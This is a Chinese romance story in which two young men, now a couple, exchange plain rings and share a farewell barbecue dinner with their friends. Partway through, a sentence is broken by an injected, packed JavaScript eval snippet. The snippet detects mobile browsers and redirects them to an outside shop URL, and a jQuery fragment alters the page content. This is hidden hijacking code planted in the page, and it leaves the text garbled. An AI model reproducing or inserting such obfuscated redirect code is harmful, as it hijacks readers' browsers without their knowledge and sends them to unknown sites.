北淼自诩是个高调的绅士,特别是对待女孩子时尤为明显。虽然他曾说过,有些客套话早已“过气”,然而一旦让他真的和女孩子相处,就好像变了一个人:豪车接送、手捧鲜花、高档餐厅等等,他总能恰到好处、点到为止地赢得她们的欢心。
所以,当北淼发现心里住着一个“唯一”时,他本以为自己也会非常夸张且高调地表达心意、恨不得让每个人都知道这是他的所有物,但他没有。正相反,北淼把他的心意全都寄托在了日常生活中的每件小事上:不需要多漂亮的鲜花、不需要多豪华的车座,也不需要多高级的餐厅。
因为西钊不喜欢、或者说,不适应。
西钊向往的生活很普通、很平凡,因此北淼也会如他所愿,一切尽可能地低调。就连北淼订钻石戒指的想法也被西钊干脆利落地否决,这让北淼生了他五分钟的气。至于为什么是五分钟,因为五分钟之后西钊为了哄他,答应第二天一起和他去派出所给冰儿和自己上户口。虽然按规定西钊和冰儿只能以阳光孤儿院的名义落户,并不能真的把自己名字写在“张北淼”家的户口本上,但这招对北淼依旧有奇效。他二话不说立即就给院长打去电话、准备材料。西钊在旁边瞧着,满眼都是无奈与宠溺。
当然,最终北淼还是先斩后奏地给他们俩订了一对戒指。没有镶嵌任何钻石珠宝,仅仅只是两个小小的圆环,各在外侧印刻着“雪獒”与“黑犀”的图案,戴在他们无名指上正好。北淼戴着白色的“雪獒”,西钊戴着黑色的“黑犀”。没有求婚仪式、也没有烛光晚餐,交换戒指那晚只有简单的两句:“你喜欢吗”“喜欢”。
虽然谁都没有说过那句话、谁都没有说过那个词,但既然都捅破了那层窗户纸,说北淼对西钊没有情欲之念是不可能的。他们出院之后其实没再有过多少过于亲密的接触——至少在公共场合里没有。哪怕是两人独处,也仅仅止步于接吻,谁都没有继续跨越那条“线”。有时候北淼会想,到底是他们还没准备好,还是西钊根本没往这个方向考虑过。也许都有。
为了能让整个过程顺利进行,刚出院不久北淼就在电脑上收集了一些……“资料”。即使他是行动派,在这件事上也不能将理智交给所谓“人类的本能”。他不想给西钊留下不好的印象,也不想伤到他。北淼也知道,西钊其实不是完全的性启蒙小白,只是,他更希望他们之间的“第一次”由他来引导。
毕竟怎么说他也要做上面那个……
“北淼,我洗好了。你在看什么?”
穿着小狗睡衣的西钊轻轻敲门后推门而入,一边拿着毛巾揉搓还滴着水的头发,一边看向坐在书桌前聚精会神盯着屏幕的北淼。
北淼被吓得耸了一下肩膀,鼠标差点按到电脑视频的“取消静音”。他即刻“啪”地一下盖上笔记本电脑,清清嗓子站起身,若无其事地把床尾放着的换洗衣物卷进臂弯,没敢和西钊对视:“我在准备后天的行程。明晚的酒店已经订好了,一会儿我们把行李收拾一下。”
“好,知道了。”西钊笑着点点头,正准备离开去吹头发,忽然想起什么,转头又问道,“明天的聚餐,大家都会来吗?”
“美真要留在实验室检修卫星,小雪想去蕙姨那里学点手艺,小嵩要带着敏慈出国一段时间。”北淼走到西钊身边,在走出房间门时习惯性地与他交换了一个吻,“所以,大概只有我们五个人。”
“也好,算是互相道别吧。”
明天他们几个人筹备了一场小小的聚餐活动。起初是因为坤中考上了外省的重点大学,想一起给他庆祝庆祝。后来,炘南受邀需要前往国外的国际音乐节进行演奏、北淼又正好打算在西钊拿到身份证之后带他出去走走看看,于是,这场庆功宴就变成了“散伙饭”。
地点定在西钊提及过但一直没有机会去的烤肉店。生意不温不火,但味道在那一带数一数二。虽然西钊对这家烤肉念念不忘,但北淼已经做好在西钊帮所有人烤肉、然后几乎一口没吃时亲自喂给他的准备了——谁让这家伙是西钊、而他又是西钊男朋友呢。
————
“这次坤中考上的大学还不错啊,就是在外省,要一段时间见不到了。”东杉从自助区拿了两碟牛里脊,刚坐下就被对面的西钊熟练地拿走放在自己旁边排队等候火炭的炙烤。
一听这话,坤中急得三下五除二把嘴里没嚼开的羊排用力咽下去:“唔、提起这个我就难过!以后我可找不到人陪我打球了,像东杉哥和西钊兄这样的好球友可太难找了!”
西钊一边专注地用烤肉夹给烤盘上的黑椒牛排翻面、用烤肉剪分成小块,一边轻笑着调侃:“你啊,怕不是担心到了外省,输球的时候没人帮你兜底吧。”
“我才没有!上次我们几个比赛,我和东杉哥不是赢了你和北淼吗?有炘南哥和美真姐作证的!”坤中愤愤夹起西钊刚烤好放进他盘子里的牛排往嘴里塞,西钊想提醒他小心烫的时候已经来不及了,“呼呼呼烫烫烫烫烫……!”
这番场景引来众人一阵哄笑,西钊在笑声中将烤好的几块肉分给其他人,瞥了一眼坐在旁边的北淼:“那下次,东杉做我的队友,你来领教一下北淼的‘球技’。这样总公平了吧?”
“北淼不太适合打篮球,他上次扣篮差点没把篮筐扣下来。”一直没怎么说话的炘南起身准备到自助区再拿些肉来,往北淼的方向看了一眼,笑道,“他冲劲太大,也没怎么和西钊配合。算起来,西钊才是吃亏的那个。”
北淼满不在意地轻哼一声,没理会炘南。炘南也只是保持那一如既往的和善微笑,转身就消失在自助区的转角。饭桌上,坤中和东杉还在讨论大学生活,西钊依然勾着嘴角孜孜不倦地烤肉、分肉、夹肉,仿佛这是他的“本职工作”。从聚餐开始到现在快一个小时下来,盯着西钊一举一动的北淼发现这个人就没吃上几口。
西钊现在笑得很好看,但北淼不喜欢。
“西钊。”
北淼低声地呼唤着西钊,对方下意识地转头看他。只见北淼夹起一块肉,草草吹了两下便递到西钊嘴边,西钊想都没想就咬了下去,一边闭口咀嚼一边把脑袋转回来继续给刚放上去的牛里脊翻面。他们似乎并没有注意到东杉和坤中的闲聊戛然而止,直直望着刚刚投喂和被投喂的二人,又互相对视,交换彼此困惑的眼神。
“是我的错觉还是……他们……”看着烤肉机器西钊一次次被北淼贴心投喂,东杉摸摸下巴陷入沉思。北淼虽然在误会全部解开之后戾气少了很多,整个人终于有了“平如静水”的样子,但面对西钊……东杉有种说不上来的违和感。
“嗯?”坤中刚埋下去咬一口烤鸡翅,听见东杉的问题慢慢抬起头,半是不解、半是了然,“西钊兄和北淼不是在一起了吗?”
“???”东杉直接瞳孔地震。
“……?”缓缓把香辣牛排放在桌边的炘南坐回坤中旁边,歪了歪脑袋,微微眯起眼睛。
坤中在诡异的沉默里慢慢松开咬下第二口鸡翅的嘴,视线随一左一右坐着的两人转向对面并没有在说话,但每一个动作都透露
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334655|199228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着亲昵意味的罪魁祸首。
西钊感觉到对面直勾勾的视线,逼得他有些喘不过气。他一边将刚处理好的里脊分给三人,一边问:“怎么了?快吃吧,这个趁热吃好,不然一会儿凉了,味道就会大打折扣。”
“西钊。”
北淼在西钊转头时将吹得温热的最后一块牛里脊塞进他嘴里,并未在意对面投来的目光。
兄弟也好、朋友也好、外人也好,他不在意任何人怎么看他,只要面前这个人心里有他、唯一的他,就够了。
只有我的手,能带他回头。*
“西钊,你们……你们……”
坤中支支吾吾半天也没憋出一句话来。但因为西钊一直用两边手在烤肉,细心的炘南终于还是注意到了西钊无名指上的戒指。于是,他开门见山地调侃道:“没想到,你们这么快就确认了关系,可喜可贺。就是让我们兄弟几个都蒙在鼓里,实在有些说不过去呀。”
“抱歉,这是我的主意。”西钊歉意地笑了笑,他将烤肉夹压在厚厚的嫩肉上,发出滋滋的响声,他很喜欢这样,“我们也才刚刚稳定下来。”
“咦?你们不是很早就在一起了吗?之前西钊找我打球,还把手机都扔给我了,肯定是和北淼吵了架。后来北淼还找上我,非得逼我把西钊的大概位置告诉他,要我说,当时北淼你那个样子——唔唔唔!”
“好了好了,你少说两句。”东杉点到为止地把两块里脊合二为一堵住坤中的嘴进行“物理封印”。看着委屈巴巴咀嚼美味的小老虎,东杉扶着额头叹口气,低声自言自语,“连北淼都……看来我也要加把劲才行。”
见氛围烘托得差不多了,炘南起身给每个人的杯子都倒上饮料,邀请大家举杯:“不管怎样,一切都是最好的安排。北淼、西钊,能看到你们两个对彼此释怀、重新开始,真的是一件很令人高兴的事。坤中,大学生活或许比你现在更加艰苦,要好好加油,记得有空回来看看。东杉,你的事,我也帮不上什么忙,但我相信缘分、相信有情人终成眷属,期待你的好消息。
“今晚过后,我们各奔东西,虽然不知道下一次像现在这样聚餐会是何时何地,但这份兄弟情义,无论走到哪里,我永远都不会忘记。干杯!”
“干杯——!!”
————
熟悉的散会、熟悉的场景。
坤中给每个人一个巨大的拥抱之后奔向公交站点、东杉上了出租车、炘南驾着摩托车飞驰而去,深夜的街道,只剩下了北淼和西钊。
上一次他们身处类似的场景时,西钊孤单地置身事外,想要一个人“离开”,一个人飞向远方、一个人坠入大海,达成自以为完美的解脱。但北淼追上了他,拉着他的手,将他硬生生拽了回来。
他们都不曾理解心中的那份悸动,但因为“链接”的存在,他们的心境一次又一次地交错。那份内心的呼唤,才能由山间孤独的回声逐渐变为响彻灵魂的交响曲。
他们感受、他们铭记、他们见证。爱是我的,我不想别人拥有。你的爱是我的,是我全部的寄托。*
他们不需要告白。
他们需要的从来不是告白。
一步一步、当我走向了尽头,
最后只留下不堪留恋的寂寞。
只有你的手,能带我回头。
什么时候?*
“走吧,西钊,行李已经在后备箱了,我们现在去酒店。”
——此时此刻。
“好。”
FIN